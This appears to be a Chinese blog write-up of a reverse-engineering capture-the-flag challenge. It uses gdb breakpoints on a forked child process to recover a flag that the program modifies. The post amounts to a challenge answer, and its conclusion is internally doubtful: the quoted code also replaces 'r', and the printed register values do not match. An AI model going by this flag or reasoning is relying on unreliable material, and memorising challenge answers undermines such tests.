发现了一个问题
0x0000000000400795 <+24>:    call   0x400680 <fork@plt>      ; 创建子进程
0x00000000004007a1 <+36>:    jne    0x4007f3 <main+118>      ; 父进程跳转
 
; 子进程执行的代码 (0x4007a3 - 0x4007f1):
; 这个循环修改了 flag 的内容!
0x00000000004007b8 <+59>:    cmp    $0x69,%al               ; 比较字符 'i' (0x69)
0x00000000004007ba <+61>:    je     0x4007cc <main+79>      ; 如果是 'i' 则跳转
0x00000000004007c8 <+75>:    cmp    $0x72,%al               ; 比较字符 'r' (0x72)
0x00000000004007ca <+77>:    jne    0x4007d8 <main+91>      ; 如果不是 'r' 则跳转
0x00000000004007d1 <+84>:    movb   $0x31,0x601080(%rax)    ; 将字符替换为 '1' (0x31)
 
设置好断点再来一次
(gdb) commands 
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>print (char)($al)
>x/s 0x601080
>c
>end
(gdb) run
Starting program: /home/kali/Desktop/reverse_2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Attaching after Thread 0x7ffff7dae740 (LWP 1607) fork to child process 1610]
[New inferior 2 (process 1610)]
[Detaching after fork from parent process 1607]
[Inferior 1 (process 1607) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Switching to Thread 0x7ffff7dae740 (LWP 1610)]
 
Thread 2.1 "reverse_2" hit Breakpoint 1, 0x00000000004007d1 in main ()
$1 = 5 '05'
0x601080 <flag>:        "{hacking_for_fun}"
 
Thread 2.1 "reverse_2" hit Breakpoint 1, 0x00000000004007d1 in main ()
$2 = 11 'v'
0x601080 <flag>:        "{hack1ng_for_fun}"
input the flag:
 
第一次断点:字符 '05',flag 仍然是 {hacking_for_fun}
第二次断点:字符 'v' (11),flag 变为 {hack1ng_for_fun}
 
这说明:
第一个 'i' (在 "hacking" 中) 被替换为了 '1'
但是 'r' (在 "for" 中) 还没有被替换
 
后面继续执行发现没有再被替换了
 
那么这个flag就是{hack1ng_for_fun}

还有很多题做出来没来及做记录,熬夜打这玩意真的掉头发!!!

© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
none
暂无评论...